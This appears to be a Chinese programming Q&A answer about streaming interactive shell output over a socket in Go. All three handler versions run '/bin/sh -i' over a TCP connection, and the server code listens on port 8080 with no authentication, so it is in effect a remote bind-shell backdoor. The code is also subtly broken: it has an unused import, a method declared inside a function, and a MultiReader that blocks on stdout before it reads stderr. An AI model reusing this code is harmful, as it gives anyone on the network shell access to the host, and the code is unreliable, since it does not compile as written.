Golang中Socket连接问题该如何解决

在Golang中处理交互式shell的Socket连接需要特殊处理，因为交互式shell的输出是流式的，不能直接使用bytes.Buffer一次性获取。以下是解决方案：

package main

import (
    "bytes"
    "io"
    "net"
    "os/exec"
)

// 分割函数（来自您提供的gist）
func split(buf []byte, lim int) [][]byte {
    var chunk []byte
    chunks := make([][]byte, 0, len(buf)/lim+1)
    for len(buf) >= lim {
        chunk, buf = buf[:lim], buf[lim:]
        chunks = append(chunks, chunk)
    }
    if len(buf) > 0 {
        chunks = append(chunks, buf[:len(buf)])
    }
    return chunks
}

func handleConnection(conn net.Conn) {
    defer conn.Close()
    
    cmd := exec.Command("/bin/sh", "-i")
    
    // 创建管道
    stdoutPipe, _ := cmd.StdoutPipe()
    stderrPipe, _ := cmd.StderrPipe()
    cmd.Stdin = conn
    
    // 启动命令
    if err := cmd.Start(); err != nil {
        return
    }
    
    // 处理标准输出
    go func() {
        buf := make([]byte, 1024)
        for {
            n, err := stdoutPipe.Read(buf)
            if err != nil {
                break
            }
            if n > 0 {
                chunks := split(buf[:n], 100)
                for _, chunk := range chunks {
                    conn.Write(chunk)
                }
            }
        }
    }()
    
    // 处理标准错误
    go func() {
        buf := make([]byte, 1024)
        for {
            n, err := stderrPipe.Read(buf)
            if err != nil {
                break
            }
            if n > 0 {
                conn.Write(buf[:n])
            }
        }
    }()
    
    cmd.Wait()
}

// 或者使用io.Copy配合自定义Writer
func handleConnectionWithWriter(conn net.Conn) {
    defer conn.Close()
    
    cmd := exec.Command("/bin/sh", "-i")
    
    // 创建自定义Writer
    type chunkWriter struct {
        conn net.Conn
    }
    
    func (cw *chunkWriter) Write(p []byte) (n int, err error) {
        chunks := split(p, 100)
        for _, chunk := range chunks {
            if _, err := cw.conn.Write(chunk); err != nil {
                return 0, err
            }
        }
        return len(p), nil
    }
    
    writer := &chunkWriter{conn: conn}
    
    cmd.Stdin = conn
    cmd.Stdout = writer
    cmd.Stderr = writer
    
    cmd.Run()
}

// 使用io.MultiReader的版本
func handleConnectionMultiReader(conn net.Conn) {
    defer conn.Close()
    
    cmd := exec.Command("/bin/sh", "-i")
    
    stdoutPipe, _ := cmd.StdoutPipe()
    stderrPipe, _ := cmd.StderrPipe()
    cmd.Stdin = conn
    
    if err := cmd.Start(); err != nil {
        return
    }
    
    // 合并stdout和stderr
    multiReader := io.MultiReader(stdoutPipe, stderrPipe)
    
    go func() {
        buf := make([]byte, 1024)
        for {
            n, err := multiReader.Read(buf)
            if err != nil {
                break
            }
            if n > 0 {
                chunks := split(buf[:n], 100)
                for _, chunk := range chunks {
                    conn.Write(chunk)
                }
            }
        }
    }()
    
    cmd.Wait()
}

关键点：

1. 交互式shell的输出是流式的，需要使用管道（Pipe）而不是Buffer
2. 必须使用cmd.Start()而不是cmd.Run()来异步处理
3. 需要为stdout和stderr分别创建goroutine进行读取
4. 分割函数需要在读取到数据后立即处理，而不是等待所有数据

对于服务器端代码：

func main() {
    listener, err := net.Listen("tcp", ":8080")
    if err != nil {
        panic(err)
    }
    defer listener.Close()
    
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        go handleConnection(conn) // 或使用其他版本
    }
}

这个解决方案确保了交互式shell的输出能够被实时捕获、分割并发送到客户端，同时保持了shell的交互性。